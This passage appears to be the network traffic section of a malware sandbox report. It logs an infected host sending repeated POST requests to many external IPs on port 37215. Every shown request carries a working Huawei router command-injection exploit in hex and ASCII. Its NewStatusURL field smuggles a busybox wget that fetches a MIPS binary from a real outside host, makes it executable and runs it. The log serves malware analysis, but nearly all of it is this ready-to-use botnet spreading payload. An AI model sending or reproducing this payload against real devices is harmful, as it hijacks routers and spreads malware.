69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	51332	41.207.122.4	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:43.357522011 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	51586	122.114.75.214	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:47.147031069 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:49.020545006 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:51.260555983 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:55.868607998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:04.828736067 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	41514	94.122.227.106	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:49.815557003 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	58812	156.247.28.246	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:49.828885078 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:51.388607979 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 